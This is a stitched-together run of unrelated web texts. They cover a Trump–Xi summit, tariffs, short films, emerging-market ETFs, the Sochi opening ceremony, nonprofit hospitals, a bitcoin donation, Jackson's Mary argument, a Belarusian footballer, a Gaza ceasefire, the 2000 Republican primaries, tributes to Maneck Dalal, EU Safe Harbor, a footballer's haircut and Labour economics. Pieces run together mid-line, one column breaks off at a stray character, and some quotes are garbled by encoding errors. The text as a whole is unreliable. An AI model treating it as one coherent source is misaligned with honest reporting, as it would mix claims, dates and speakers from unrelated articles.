Tillerson said Trump had accepted Xi’s invitation to visit China and that they also agreed to upgrade a U.S.-China dialogue by putting the two presidents at the head of the forum.
U.S. Commerce Secretary Wilbur Ross said the Chinese had expressed an interest in reducing China’s trade surplus as a way of controlling their own inflation. “That’s the first time I’ve heard them say that in a bilateral context,” he said.
Ross declined to say whether the United States was ready to designate China a currency manipulator, however, referring to an upcoming report in which that issue would be addressed.
Although Trump during the presidential election campaign had pledged to label China a currency manipulator on the first day of his administration, he has refrained from doing so.
The highly anticipated U.S.-China summit was upstaged by U.S. missile strikes overnight against a Syrian air base from which Trump said a deadly chemical weapon attack had been launched earlier in the week. It was the first direct U.S. assault on the Russian-backed government of Syrian President Bashar al-Assad in six years of civil war.
The swift action in Syria could be interpreted as a signal especially to defiant nuclear-armed North Korea – and by extension, its ally China – as well as other countries like Iran and Russia of Trump’s willingness to use military force. North Korea is developing missiles capable of hitting the United States.
Slideshow (9 Images)
Tillerson said Xi agreed with Trump that North Korea’s nuclear advances had reached a “very serious stage.”
He said Trump also raised U.S.concerns about China’s activities in the South China Sea. Beijing is building and fortifying islands in pursuit of expansive territorial claims in the strategic waterway.08/24/2017: How tariffs helped along the Great Depression
August 24, 2017
The four-letter word of global trade (so to speak) is "tariff." There are times when tariffs seem like they'd be a good thing, usually when people with power feel like the economy's not working for them. But if you bring up tariffs in polite conversation with a bunch of economists, they're gonna go right to the Smoot-Hawley Act of 1930. Perhaps the most infamous of American tariffs, it's credited by some with deepening the Great Depression. We'll talk about it as we continue our series on globalization, "Trade-off." Plus, we'll bring you the latest on the White House, Congress and the possibility of a government shutdown. Then: Taylor Swift is putting out a new single tonight, ahead of a new album in November, and you know we found the business angles.Oh boy, who doesn’t love a list?
Lately, when I’m not working or playing videogames, I’ve been drifting around YouTube for just random things. When it’s not cats, creepypasta, or children falling over, I find some nice short films to watch. So here’s a list of four short films, in no particular order, that I’ve found to dub creepy, but nice.
He Took His Skin Off For Me
2015, Directed by Ben Aston – 11mins
Behind this gory facade lies a lovely tale of the sacrifices we make for loved ones, and the love we show and return. Sweet, intimate, and at times, uncomfortable, He Took His Skin Off For Me is a lovely metaphor for trust and vulnerability – not to mention how far we’re willing to go for the ones we love.
Elefante
2012, Directed by Pablo Larcuen – 9mins
This is a movie that genuinely melted my heart to the point that it was oozing from my eye sockets. Elefante is the tale of Manuel, an average pencil-pusher who hates his job, his only friend, and struggles to be loved by his family. Things only get worse when he discovers that he’s turning into an elephant. Just watch and see.
Skin
2015, Directed by Jordana Spiro – 13mins
Oh hey, there’s that word “skin” again. This one’s a little…different. More of a coming-of-age story about isolation, puppy love, and just generally wanting to be accepted. And there’s bad taxidermy, which is a plus.
Death and the Robot
2013, Directed by Austin Taylor – 11mins
This short is beautiful. Two lonely entities discover one another, creating a legacy to change their world, despite heartbreaking sacrifices. Not really “creepy” per se, but nice none-the-less.
That’s all I wanted to share for now. Perhaps I’ll throw together more lists in the future. Have any to recommend? Please feel free to share!
AdvertisementsBOSTON (MarketWatch) -- Exchange-traded funds tracking emerging markets stocks fell sharply Monday as investors sold risky assets on fears the deepening financial crisis could trigger a global economic slowdown.
A huge ETF tied to an index of developing markets, the nearly $19 billion iShares MSCI Emerging Markets Index Fund EEM, -0.34% was off about 10% in midday trading.
On Monday, U.S. investors awoke to reports of a steep sell-off in European markets after more countries there were forced to provide bailouts for struggling banks. A meeting of the European Union's top leaders over the weekend offered no coordinated plan for propping up the roiled banking system.
The Vanguard European Stock ETF VGK, +0.75% was off more than 6% in recent action. The iShares MSCI United Kingdom Index Fund EWU, +0.86% lost 7%, reflecting the weakness in Great Britain. ETFs listed in the U.S. continue to trade even when the underlying overseas markets close.
However, the hardest-hit European ETF on Monday was Market Vectors Russia ETF RSX, +0.10% which was off about 20%. In Moscow, the sell-off in Russian stocks promoted officials to again suspend trading. See Emerging Markets Report.
Market Vectors Russia ETF, which is managed by Van Eck Global, tracks an index of stocks and depositary receipts of public companies domiciled in Russia, according to the prospectus. With trading in Russian markets suspended, the ETF appeared to be one of the few ways to trade that market.
Adam Phillips, managing director of ETFs at Van Eck, in a telephone interview Monday said trading volume in Market Vectors Russia ETF has picked up recently, particularly on days when trading in Russian markets has been suspended.
Of the ETF's 37 holdings, six are American Depositary Receipts listed in New York, 26 are Global Depositary Receipts that trade in London, and seven are local stocks listed on Russian markets.
"It's one of the only index products for Russia that continues to trade," Phillips said. "We've received no reports from traders or market makers about difficulty trading Market Vectors Russia ETF. Investors can access Russian markets [with the ETF] even when things aren't trading perfectly over there."
Other emerging markets ETFs were deep in the red Monday. Claymore/BNY BRIC ETF EEB, -0.27% -- a portfolio tracking a basket of stocks in Brazil, Russia, India and China -- dropped more than 12%. The iShares MSCI Brazil Index Fund EWZ, +0.41% was off about 15%.
Financial stocks around the world traded lower as investors worried intensifying lending problems could tip the global economy into recession. The iShares S&P Global Financials Sector Index Fund IXG, +0.08% lost 8%.
Meanwhile, oil prices fell and gold rallied as investors reacted to growing worries for a worldwide slowdown. SPDR Gold Shares GLD, +0.17% was up 3%, but U.S. Oil Fund USO, +0.52% slipped 4%.
U.S. equities didn't escape the carnage. SPDR S&P 500 ETF SPY, -0.07% the largest ETF by assets, lost 6% at last check.
Still, some bearish ETFs profited handsomely from the damage in stocks and commodities markets on Monday.
ProShares UltraShort Emerging Markets EEV, +0.68% a fund that gives leveraged short exposure to developing markets, surged more than 20%. A similar ETF for Chinese stocks, ProShares UltraShort FTSE/Xinhua China 25 FXP, +1.72% rose 18%.In the weeks before the Winter Olympics, Russia's critics had everything pretty much their own way. It was all shot stray dogs, double toilets and a mayor who denied that there were any gay people in his town. From there, we went straight into the sport. Different worlds, different pictures, different messages.
But there was something in between, and that something has been neglected: the image that Russia wants to project of itself. And that is unfortunate, because this image – part accurate, part delusional, part aspirational – says quite a lot about how today's Russia wants to be seen and what it aspires to be.
You can ridicule such an intention. But before you do, remember the opening ceremony of London 2012 and the ecstatic response it received. Danny Boyle's creation was hailed as achieving something no one had managed before: create a national myth for our times and tell an inclusive tale of today's Britain. Russia, which has experienced so much change in the 20 years since it emerged from the Soviet Union's collapse, needed such a national pageant at least as much as Britain did.
So it is disappointing that international coverage of the opening ceremony fixed on two things: the failure of the fifth snowflake to transform itself into an Olympic ring, and the peculiarity – as it was seen – of the Cyrillic alphabet that starts ABVG, rather than ABCD. Commentators, it seemed, could not get over Russia's nerve in having the national teams enter the stadium in this unfamiliar alphabetical order. Hungary before the Czech Republic, for instance; Zimbabwe, for once, not bringing up the rear.
But there was much more that deserved attention. Yes, there were tricks and themes that owed something to both London and Beijing. Much else, though, spoke of how Russia saw itself. Before the athletes' parade, there was something like an introduction to the Cyrillic alphabet, which was no more and no less than an attempt to devise a new, post-Soviet cultural canon.
Being a fly on the wall of the meetings that decided what each letter would stand for would have been an enlightening experience. I would love to know who was on that particular committee. The letter I was for imperiya (empire); P for Peter the Great. S, you will be relieved to know, was for Sputnik, not Stalin, one of several references to the glory days of Soviet space conquests: G for Gagarin; L for moon robot lunokhod; T for the rocket scientist, Tsiolkovsky.
Shchusev, the architect who designed Moscow's wedding-cake skyscrapers for Stalin, was also honoured, while Z stood for the Russian for combine harvester. But there was no mention of communism, or Lenin, or any other Soviet-era leader. P stood for the periodic table – a reference to the Russian scientist Mendeleev and, in effect, a renewed repudiation of the Stalin-era pseudoscience of Lysenko.
The national pageant that followed the parade showed a land of wilderness and forests, in which exotic-looking settlements grew up. The Vikings – a sore point of Soviet-era historiography – had a sail-on part, but the time allotted to the building and flourishing of St Petersburg was almost as much as that reserved for the blood, guts and 1950s-style security of the defunct Soviet Union.
Where I and, I understand, not a few Russian viewers experienced a double-take was when K stood for Kandinsky, an émigré whose art was long derided, and when Nabokov, the émigré writer of Lolita fame, was chosen for N. The letter Sh stood for Chagall.
Together, the alphabet and the pageant combined to present a Russia that was culturally inclusive, both traditional and modern, in which each age, from Muscovy through to the pluses and minuses of Soviet times, had its allotted place. Yes, some of the most painful aspects were missing – the gulag, for a start; Solzhenitsyn was rejected (too divisive?) for S – but there was an encouraging lack of dogma and militarism. You could say something similar of London 2012. But the idea – to present a Russia for today that built national pride on a continuum of cultural and scientific distinction – was largely realised.
The Sochi Olympics are at least as much about rekindling a healthy national pride for a post-Soviet Russia as they are about sport for sport's sake. The facilities, the transport arrangements and the architecturally showy buildings are designed to prove that Russia is capable of modernising – a model, if you like, to demonstrate to other parts of Russia that it can be done.
That same purpose, though, has to be conditional. Only if Sochi can maintain its shiny new identity and flourish as a world-class resort will it be any use as a model for the new Russia. If it lapses into Soviet-style decay, it will stand forever as a testament to the vanity of Vladimir Putin's dream.I haven’t always been the kind of man who plays videogames. I used to be the kind of boy who played videogames. We’re inseparable, games and I. If you cut me, I’d bleed pixels. Or blood. Probably blood, come to think of it.
Games get a bad press compared with, say, opera – even though they’re obviously better, because no opera has ever compelled an audience member to collect a giant mushroom and jump across some clouds. Nobody writes articles in which opera-lovers are mocked as adult babies who never grew out of make-believe and sing-song; obsessive misfits who flock to weird “opening nights” wearing elaborate “tuxedo” cosplay outfits.
On no account go to the opera yourself: you’ll probably run into a mafia boss. According to at least one film I think |
today, they’ll be required to:
"adopt and implement written financial assistance and emergency medical care policies"
"limit charges for emergency or other medically necessary care"
"comply with new billing and collection restrictions"
"conduct a community health needs assessment at least once every three years"
Notice it doesn’t mention that a percentage of revenue, for example, must be devoted to charity care. As Martin Gaynor, Carnegie Mellon University professor of economics and public policy, told me recently, "there is no bright line."
John D. Colombo, a tax law professor at the University of Illinois and co-author of The Charitable Tax Exemption, said the feds won’t set a baseline requirement because it’s “extremely hard to define what charitable care actually is.”
It’s more complicated than picking a number, he said. Ideally, nonprofit hospitals should "operate in the space between what governments provide and what private entities provide." That goes beyond charity care for the poor, he said, and that should probably extend to services such as trauma wards and burn units. He cites those as examples of services that are almost exclusively provided by nonprofit hospitals despite their tendency to lose money.UC Berkeley’s Blockchain Lab received a donation Wednesday worth more than $50,000 in the form of bitcoin, a prominent virtual currency and worldwide payment system. The electronic donation, gifted by the EchoLink Foundation, is the first of its kind at both the Blockchain Lab and on campus.
Bitcoin can be electronically sent anywhere in the world and is run by a decentralized network of computers that keep track of all transactions, preventing them from being altered or hacked. Bitcoin is based on blockchain technology, a data structure that protects digital ledgers using cryptology. The network was launched in 2009 by an anonymous creator known by the pseudonym Satoshi Nakamoto in response to the 2008 financial crisis, according to Zubin Koticha, head of the cryptoeconomics research team for the student organization Blockchain at Berkeley.
“Fundamentally, blockchain technology … is a database … controlled by no one and owned by no one,” said Koticha.
Steve Chen, founder of the EchoLink Foundation, said he pitched the idea of a blockchain research lab to the Sutardja Center for Entrepreneurship & Technology to offer students a single point of entry into the blockchain industry, as well as to sponsor blockchain research projects.
Chen said once the Blockchain Lab was approved, he was invited to serve as the lab industry co-lead. Since opening, the lab has offered students a two-day course on blockchain technology and bitcoin transactions, and it plans to expand its range of activities and invite industry affiliates to participate in projects.
“We feel it’s perfect for actually giving back to the community and contributing to the overall development of the industry,” Chen said regarding EchoLink’s donation.
Chen added that blockchain technology is a “promising area” that goes beyond solely serving the financial industry, emphasizing its potential to verify employment and educational history, as well as to notarize legal documents.
Koticha said the significance of the bitcoin donation lies in its underlying message rather than in its monetary value, given that bitcoin has previously been associated with the “dark web” and illegal online transactions. He added that this message can help redress the skepticism some have towards bitcoin and legitimize its use for individual and enterprise transactions.
Sunny Aggarwal, co-founder of Blockchain at Berkeley, said bitcoin transactions are not only a way of providing decentralized money the government is unable to censor, but they are also a means of allowing anyone to partake in the worldwide economy.
“More people in the world have access to cellphones than to bank accounts,” Aggarwal said. “Bitcoin has the ability to change how global economics work.”
Contact Naira Khalid at [email protected] and follow her on Twitter at @nairakhalid.A well-known argument, due to Frank Jackson, goes as follows. (You can read the short version here.) The brilliant genius Mary has complete knowledge of physical reality. All the sciences, physics, chemistry, neuroscience, etc., have been completed—there is nothing more to add—so that the fundamental physical constituents and causes of all phenomena are known, together with everything that supervenes on them, and Mary has mastered all of this. But although Mary thus knows everything about the physical world there is to know, she does not know everything there is to know. For, a peculiarity about Mary is that she has lived her entire life in a black and white room and has never been permitted to view anything except in black and white. Thus, on the day when she finally leaves her room and sees, say, a red object, she will learn something she didn’t know before. She will say, “Ha! So that is what seeing red is like.” If this is correct, then, apparently, red, or the experience of seeing red, is not part of physical reality.
The “Mary” argument is just one of several ways to bring out what is really an old, classic problem with any sort of reductionistic physicalism. It is this. The fundamental elements of physics—the elementary entities and their properties, whatever they might be—do not include sensory qualities like colors, sounds, tastes, the feel of warm and cold, and so on. For example, say the elementary entities are subatomic particles like electrons and protons, with their properties of spin, charge, mass, and whatever else, and electromagnetic radiation with its properties of frequency and amplitude and whatever. Notice that these fundamental entities and properties don’t include qualities like red or sweet. And yet modern science is a reductionistic system: everything is supposed to be in effect constructed out of the fundamental entities and properties. For example, all the properties of a number 2 pencil are supposed to be explainable by its physical constitution: the arrangement of its atoms, their different internal structures, the forces binding them together into larger structures, and so forth. And for the properties of a pencil, you can see how this works. We really can explain all the structural and functional properties of a pencil in terms ultimately of its physical constitution.
But how are you going to explain the quality of being red (“what seeing red is like”) this way? What arrangement of particles or atoms brings red into existence? How can charge, mass, and spin (or whatever you like) be combined to construct red? To grasp the question seems to be to realize that one can’t begin to answer it. There seems to be no way to answer this question, even in principle.
This problem is as old as atomism itself. Democritus, one of the architects of the original Greek atomism, recognized the problem. In his ontology, nothing exists but atoms and the void. Atoms are the smallest units of matter, indestructible, impermeable, having shape, size, weight, and position, and that’s all. He recognized that although you can construct properties like hard and soft out of atoms and their interactions, you can’t do that with sweet, bitter, warm, cold, color, etc. Later, Galileo, in reviving atomism, encountered the same problem (in The Assayer). Newton likewise (in the Optics).
It is sometimes known as the problem of primary vs. secondary qualities. The primary properties are the ones of fundamental physics. Back in the day, that meant the properties of atoms: size, shape, weight, and position. Today we have a more sophisticated set, but the problem remains the same. The fundamental properties don’t include the “secondary qualities” (sweet, bitter, warm, cold, colors, etc.), and there seems to be no way even in principle to build secondary qualities out of the primary ones.
What people have typically said in response to the problem is that the secondary qualities are mental. Thus, Galileo: “I think that tastes, odors, colors, and so on are no more than mere names so far as the object in which we locate them are concerned, and that they reside in consciousness. Hence if the living creature were removed, all these qualities would be wiped away and annihilated.” And Newton: “For the rays, to speak properly, are not colored. In them there is nothing else than a certain power and disposition to stir up a sensation of this or that color.” But this is cheating, of course. For, what is the mind? Is it something outside the physical realm? Maybe that’s what these writers thought. But if you think the universe is completely physical, then you just recreate the problem all over again, this time in the brain rather than in the external objects. How do you build a “sensation of red” out of fundamental physical entities and their properties? If we couldn’t answer this question before, when it was about qualities of objects, we won’t be able to answer it now, when it is about sensations in brains. Putting sensory qualities in the mind just relocates the problem; it doesn’t solve it.
So this is why the problem can be taken to be an argument for dualism, and many philosophers today seriously advocate it as such. For instance, this was Jackson’s aim when he formulated the “Mary” argument.
However, my own take is that the problem does not force us to be dualists. I think the problem arises because the only properties we have scientific access to are (basically) causal. We know objects and their properties only through their effects. Ultimately, this means by their effects on our senses, but also by their effects on each other. Think of our knowledge of electromagnetic forces, or of particles like electrons. We know them only by what they do. They have certain systematic effects on certain objects, which we learn to formulate by mathematical equations in terms of constructs, such as “mass” and “charge,” which are ultimately defined functionally by their role in these very equations. (This is why fundamental physical entities can be defined by Ramsey sentences.) Thus, what anything is in itself we never observe or know; what we know about all things is what they do. Still, there must be some intrinsic properties. It can’t be relations or causes all the way down; there must be relata and things on which the causes operate. Our experience is in part of just such intrinsic properties, namely the sensory qualities such as colors. Experience has to include such intrinsic properties, because experience can’t be only of relations any more than reality can consist only of relations. There must be the things that are related.
Notice in this connection that the quality red doesn’t do anything. It has no effects (except by our psychological reaction to it; but that’s not something it does). The quality helps to constitute things that are related. It is not itself a relational or causal property; it is intrinsic.
So red may be physical after all, and it may exist in the world as well as in our experience. But though it may be physical, it will never be part of physics. The intrinsic character of physical reality is epistemically inaccessible to us.Maksim Tsyhalka (Belarusian: Максім Цыгалка, Russian: Максим Цыгалко, Maksim Tsygalko) (often spelled Maxim Tsigalko) (born 27 May 1983) is a former Belarusian football player. He had to end his professional career early (at the age of 26) in 2010 due to persistent injuries.
He began his playing career at a youth team Dinamo-Yuni Minsk before moving up to play for the Dinamo Minsk first team, he spent 5 years with the club before moving to fellow Belarus team Naftan Novopolotsk, after an unsuccessful 2 seasons there Tsyhalka soon moved on to Kazakhstan club Kaisar Kyzylorda. Tsyhalka spent 2 seasons with the club before moving in the summer of 2008 to Armenian team Banants Yerevan, where he would spend only a short stint. He spent the rest of the season for now defunct Belarus club Savit Mogilev. He scored 2 goals in his short spell at the club before being released after Savit were relegated and dissolved.
Tsyhalka also has a twin brother Yuri who played as a goalkeeper. The brothers played alongside each other at Dinamo Minsk.
In popular culture [ edit ]
Maksim and, to a lesser extent, his brother Yuri both achieved a small amount of fame and worldwide renown after they were featured in the Championship Manager / Football Manager computer game series by Sports Interactive, especially in CM 01/02. Both players were present in the database with good starting stats and a very high potential, and Maksim (spelled "Maxim Tsigalko" in the game) in particular was capable of becoming a world class player, to the degree that he is very well known amongst fans of the Football Manager series and considered one of the game's legends.[1][2]
International goal [ edit ]
# Date Venue Opponent Score Result Competition 1 2 April 2003 Dynama Stadium (Minsk), Belarus Uzbekistan 1 – 0 2–2 Friendly
Honours [ edit ]
Dinamo Minsk
References [ edit ]Israelis were pretty split on the Gaza War right up until it started. With virtually the entire political spectrum jumping on the bandwagon, polls quickly showed an overwhelming majority of Israelis in favor of the war, sometimes exceeding 90 percent.
That ability to quickly rally such a huge majority for a war is certainly expedient, but it caused considerable stir today when the Israeli government agreed to a ceasefire with Hamas, and both politicians and the public began condemning the sudden arrival of peace.
Many in the far-right government in Israel condemned the deal, demanding a full, worldwide war on all terrorists and no restraint under any circumstances. Opposition figures, like Kadima Leader Shaul Mofaz, also lashed the deal, saying he wanted a “decisive” invasion of Gaza.
There were even some anti-peace rallies in Tel Aviv, where demonstrators gathered chanting “no to a cease-fire deal.” Demonstrators interviewed termed the lack of continued war a “mistake” because it made Israelis look scared. Polls tonight showed 70 percent of Israelis remain opposed to the idea of peace with Gaza.
Last 5 posts by Jason DitzThe 2000 Republican presidential primaries were the selection process by which voters of the Republican Party chose its nominee for President of the United States in the 2000 U.S. presidential election. Texas Governor George W. Bush was selected as the nominee through a series of primary elections and caucuses culminating in the 2000 Republican National Convention held from July 31 to August 3, 2000, in Philadelphia, Pennsylvania.
Primary race overview [ edit ]
Bush in New Hampshire, after officially filing to run
The primary contest began with a fairly wide field, as the Republicans lacked an incumbent President or Vice President. Texas Governor George W. Bush, son of George H. W. Bush, the most recent Republican president, took an early lead supporting much of the party establishment as well as a strong fund-raising effort. Former cabinet member George Shultz played an important early role in securing to establish Republican support for Bush. In April 1998, he invited Bush to discuss policy issues with experts including Michael Boskin, John Taylor, and Condoleezza Rice. The group, which was "looking for a candidate for 2000 with good political instincts, someone they could work with," was impressed, and Shultz encouraged Bush to enter the race.[1] Due in part to establishment backing, Bush dominated in early polling and fundraising figures. After stumbling in early primary debates, he easily won the Iowa caucuses.
Considered a dark horse, U.S. Senator John McCain of Arizona won 48% of the vote to Bush's 30% in the first-in-the-nation New Hampshire primary, giving his campaign a boost of energy and donations.
Then, the main primary season came down to a race between Bush and McCain. McCain's campaign, centered on campaign finance reform, drew positive press coverage and a fair amount of public excitement, with polls giving the senator superior crossover support from independents and Democrats.[2][3][4] Bush's campaign dealt with "compassionate conservatism," including a greater role for the federal government in education, subsidies for private charitable programs, and large reductions in income and capital gains taxes.
The next primary contest in South Carolina was notorious for its negative tone. Although the Bush campaign said it was not behind any attacks on McCain, locals supporting Bush reportedly handed out fliers and made telephone calls to prospective voters suggesting among other things, that McCain was a "Manchurian candidate" and that he had fathered a child out of wedlock with a black New York-based prostitute (an incorrect reference to a child he and his wife had adopted from Bangladesh). Bush also drew fire for a speech made at Bob Jones University, a school that still banned interracial dating among its students.[5] But the governor was seen to have the upper hand in a debate hosted by Larry King Live, and he won in South Carolina by nine points. McCain won primaries in Michigan, his home state of Arizona, and a handful of New England states, but faced difficulty in appealing to conservative Republican primary voters. This was particularly true in Michigan, where despite winning the primary, McCain lost the GOP vote to Bush by a wide margin.[6] McCain also competed in the Virginia primary, counting on continued crossover support by giving a speech blasting the religious right. It backfired, and Bush won the state easily. Bush's subsequent Super Tuesday victories in California, New York and the South made it nearly impossible, mathematically, for McCain to catch up, and he suspended his campaign the next day.
Other candidates included social conservative activist Gary Bauer, businessman Steve Forbes, Utah Senator Orrin Hatch, former Ambassador Alan Keyes, former Tennessee Governor Lamar Alexander, former Red Cross director and cabinet member Elizabeth Dole, Ohio Congressman John Kasich, and former Vice President Dan Quayle. Bauer and Hatch campaigned on a traditional Republican platform of opposition to legalized abortion and reductions in taxes. Keyes had a far more conservative platform, calling for the elimination of all federal taxes except tariffs. Keyes also called for returning to ban homosexuals in the military, while most GOP candidates supported the "don't ask, don't tell" policy. Keyes continued participating in the campaign for nearly all the primaries and continued to appear in the debates with frontrunners McCain and Bush. As in 1996, Forbes campaigned on making the federal income tax non-graduated, an idea he called the flat tax, although he increased his focus on social conservatives in 2000. Although Forbes came a close second to Bush in the Iowa caucuses and tied with him in the Alaska caucuses, none of these other candidates won a primary.
Nominee [ edit ]
Withdrew at convention [ edit ]
Withdrew during primary elections [ edit ]
Withdrew before primary elections [ edit ]
Retired engineer Jack Fellure of West Virginia
Declined to run [ edit ]
National polling [ edit ]
Results [ edit ]
Statewide [ edit ]
Win for George W. Bush Win for John S. McCain
Nationwide [ edit ]
Popular vote result:[8]
Notable endorsements [ edit ]
Note: Some of the endorsers switched positions.
George W. Bush
John McCain
Steve Forbes
Alan Keyes
Orrin Hatch
Lamar Alexander
Dan Quayle
John Kasich
See also [ edit ]Tributes were paid to Maneck Dalal, the aviation pioneer behind international expansion of Air India, who recently passed away here.
Tributes were paid to Maneck Dalal, the aviation pioneer behind international expansion of Air India, who recently passed away here. Speaking at a condolence meeting held at the Bharatiya Vidya Bhavan here, India’s High Commissioner to the UK Y K Sinha described Dalal, 98, as a “legendary figure” for the immense contribution he has made in the field of aviation by starting the first flight of Air India from Heathrow to New Delhi and Bombay in 1948.
He died on March 6 this year.
At the age of 29 and at the behest of his hero JRD Tata, the young post graduate from Trinity Hall, Cambridge University, started Air India Office in London in 1948. He had joined Tata Airlines (Air India) in 1946 and was its Manager in New Delhi, when he had the opportunity to meet Mahatma Gandhi in 1946-1947.
Two years later he was sent to London. Dalal was truly one of the builders of Air India and was its regional director from 1959-1977.
When he started the twice weekly operations for Air India in 1948 in London, only eight airlines operated out of Heathrow Airport, which was only a collection of huts – one of them being Dalal’s office, the Times newspaper said in its recent obituary column.
Dalal then joined the Tatas and became Managing Director of Tata Ltd, London 1977-1988 and Vice Chairman 1988-1989.
He also served on the board of Tata Sons the group holding company. He was also Chairman of the Bharatiya Vidya Bhavan, London between 1973 and 2011 and was instrumental in making the Bhavan the best Indian Art and Cultural centre outside India.
Describing Dalal as “dear old friend, ” Joginder Sanger, who succeeded Dalal as Chairman of the Bharatiya Vidya Bhavan said “I am yet to come across a better person in the UK than Dalal.
I have met and seen an angel in reality on this earth.
“Lord Navnit Dholakia, OBE PC, Deputy Leader of the Liberal Democrats in the House of Lords and Patron of Bharatiya Vidya Bhavan, UK, said “For me Maneck Dalal was Kohinoor (rare gem).There are people who make India great and Maneck Dalal was one of them.”
Lord Karan Bilimoria, educationist and founder chairman of the Cobra Beers, said “Maneck Dalal was remarkable for what he did and what he achieved. His life has been inspirational for all of us.”
In a message, Ratan Tata said “Maneck Dalal will always be remembered for launching Air India from the UK. He was an outstanding leader who achieved his objectives with quietness and humility.”
Lord Ranbir Suri, former Executive member of the Bhavan said “Bhavan was his second home. His devotion and guidance was instrumental in Bhavan achieving what it did. Dalal ji was a man born to serve.”
Malcolm M Deboo, President, Zoroastrian Trust Funds of Europe said “what struck me most was his immense politeness and his knack of putting everyone at ease. He also earned praise for organising the ‘Festival of India’ in London in 1980s.”
Tara Naidu, Regional Manager of Air India in the UK, Ireland and Europe, said “Maneck Dalal played a major role in Air India’s expansion in the UK.”
ohn R Marr, Vice chairman, Bharatiya Vidya Bhavan in the UK, said “Maneck Dalal was incredibly polite and Humane.”
Govind Lalwani, Retired Air India staff, described Maneck Dalal as “unique and extraordinarily gentle. He was a rare individual who touched the heart of so many.”
M N Nandakumara, Executive Director, Bharatiya Vidya Bhavan in the UK, said “Maneck Dalal was kidness personified, intellectually honest and never spoke ill of anyone.”
Caroline Dalal, Daughter of Maneck Dalal said “Our father was proud of being an Indian and he wanted India and Indians to showcase the best.”
Suzie Dalal, another Daughter of Dalal said, “Dad would have been honoured to be here. He was very proud of his Indian roots, proud of being a Parsi and he was a loving father.”
Published on Financial ExpressThe campaign group Europe v Facebook(s fb) has decried a decision by the Luxembourg data protection commissioner, which found that Microsoft(S msft) and its Skype subsidiary have not broken EU privacy law by sending Europeans’ data back to the U.S.
The National Commission for Data Protection (CNPD) said on Monday that the data transfer was legal under the Safe Harbor agreement, through which U.S. companies can self-certify to say they abide by EU-strength privacy standards, even though their country does not. This was in response to a complaint filed by the activist group known as Europe v Facebook.
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“The fact finding operations conducted since July 2013 and the subsequent detailed analysis did not bring to light any element that the two Luxembourg-based companies have granted the U.S. National Security Agency mass access to customer data,” the regulator said in a statement.
Europe v Facebook isn’t happy, and wants more specific answers about the regulator’s reasoning. According to campaigner Max Schrems:
“It was always clear that the NSA does not get data directly from Luxembourg. But it is not clear whether the CNPD believes that PRISM does not exist in the U.S, or if it feels that press releases by Microsoft are more credible than the revelations by Snowden. “Safe Harbor decision allows for data use for purposes of law enforcement and national security, but the NSA does much more than that. In addition the European Commission has recently said that PRISM would not be covered by the ‘Safe Harbor’, so it seems like the authorities in Brussels and Luxembourg are not in line. If PRISM would be allowed under the ‘Safe Harbor’ decision there is no doubt that the decision would be illegal. So overall we can’t really understand the response.”
The group has already been rebuffed by Ireland’s data protection commissioner in a similar fashion, and recently won the right to appeal that decision.
This situation is very complicated. It’s actually not hard to see where the Irish and Luxembourg data protection chiefs are coming from – at this point, who’s to say how much Microsoft and Facebook have been actively co-operating with the NSA?
Strong suspicions are not yet backed up by hard evidence, particularly as we now know the NSA is perfectly capable of intercepting data travelling between such companies’ data centers without being granted access, as such. And if these companies are linked with the NSA, chances are those links exist below senior management level, creating plausible deniability and making it even harder to prove Safe Harbor compliance isn’t in place.
On the other hand, though, it is now clear that Safe Harbor doesn’t count for much when it comes to actually protecting EU citizens, as is its purpose. Yes, the NSA and its British partner GCHQ hoover up data in Europe as well as in the U.S., but U.S. FISA laws also grant Europeans and other non-American zero rights when it comes to the protection of all that data circulating through U.S. cloud services. Safe Harbor is not fit for purpose, it hasn’t been for years, and something needs to give at some point.An Aussie Rules footballer was given his marching orders after his haircut was deemed ‘too dodgy’ for play.
Hair raising: This Aussie barnet was too much for the ref to handle
Nathan Van Someren, who sports a towering gelled mowhawk, was told to leave the field in the third quarter of the Simpson Tigers match against Otway Districts when the ref took offence to his âdangerousâ do.
Having donned the spiky style for three years without a moments bother, Van Someren said: âBefore the game the umpire said that I could not play with my hair like that. He told me it was dangerous.
âWe all thought that he was taking the mickey out of me. A few umpires have made jokes about my hair before, so I didn’t think any more of it.
âThen I was just standing there and (the umpire) came across to me and goes, “I thought I told you you couldn’t come on the ground”.
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âI sort of just looked at him like “what? ” and he’s like, “no, I told you you couldn’t come on the ground with that hairstyle, you have to go off'”.â
Despite the apparent style rap from the official, Van Someren has vowed to fight his cause against the clippers.
âI don’t want to shave it, I want to keep it. I don’t think I should have to.â
The Victorian Country Football League (VCFL) said since admitted the umpire might have been wrong.
Watch: Nathan Van Someren on his haircut:Labour’s new leadership intends to reset its economic policy. However, Labour needs to do much more than find the right policies. It needs to fundamentally rethink the basis for its economic platform, making sure it is relevant to today’s economy...
Labour’s new leadership intends to reset its economic policy. However, Labour needs to do much more than find the right policies. It needs to fundamentally rethink the basis for its economic platform, making sure it is relevant to today’s economy and reflects progressive values. The economic approach of the New Labour years no longer applies but a politics of simple anti-austerity misses the point.
A changed economy
Labour has a mountain to climb to restore public trust in its economic management. By the end of 2015, the party, its new leader, Jeremy Corbyn, and shadow chancellor, John McDonnell lagged far behind the Conservatives on the issue, as did Ed Balls and Ed Miliband. Labour are also expected to borrow more and is regarded as running a higher risk of economic disaster, even if people are not convinced that more spending cuts is the right policy. Labour has still to work out what being credible on the economy actually means, as the confusion over whether or not to support George Osborne’s ‘fiscal charter’ and Labour’s current low level of engagement with business has shown.
Credibility should not be the primary aim of economic policy but a consequence of doing the right thing. And here, both Conservative and Labour economic policies have failed. This is because they have assumed the economy would return quickly to a pre-crisis ‘normality’ after the Great Recession – despite the fact it was that normality which set up the conditions for the financial crisis.
Politics needs to adjust to a changed economy. Before the crisis, the economy was in an apparently stable state, which became known as the Great Moderation, with growth, low inflation, and, compared with previous decades, low unemployment. The crisis awoke us to the reality of a high debt global economy, and we now have interest rates at rock bottom, continuing asset price increases, and occasional dances with deflation. In both periods, the push has been towards greater inequality.
We are now in the midst of a long financial cycle. As the Bank for International Settlements has noted: “Financial fluctuations (“financial cycles”) that can end in banking crises such as the recent one last much longer than business cycles. Irregular as they may be, they tend to play out over perhaps 15 to 20 years on average.” They have called for a move “away from debt as the main engine of growth”, which is a challenge given global indebtedness. Growth in global debt is now being driven higher by emerging markets where, overall, debt has risen to 195 per cent of GDP from 150 per cent in 2009, with limited deleveraging in developed economies. High levels of debt carry risks, especially from rising interest rates. Without sustainable growth, debt is like an addictive drug. It puts off the day of reckoning, but not forever. Restructuring and economic growth are two fundamental requirements for dealing with the problem.
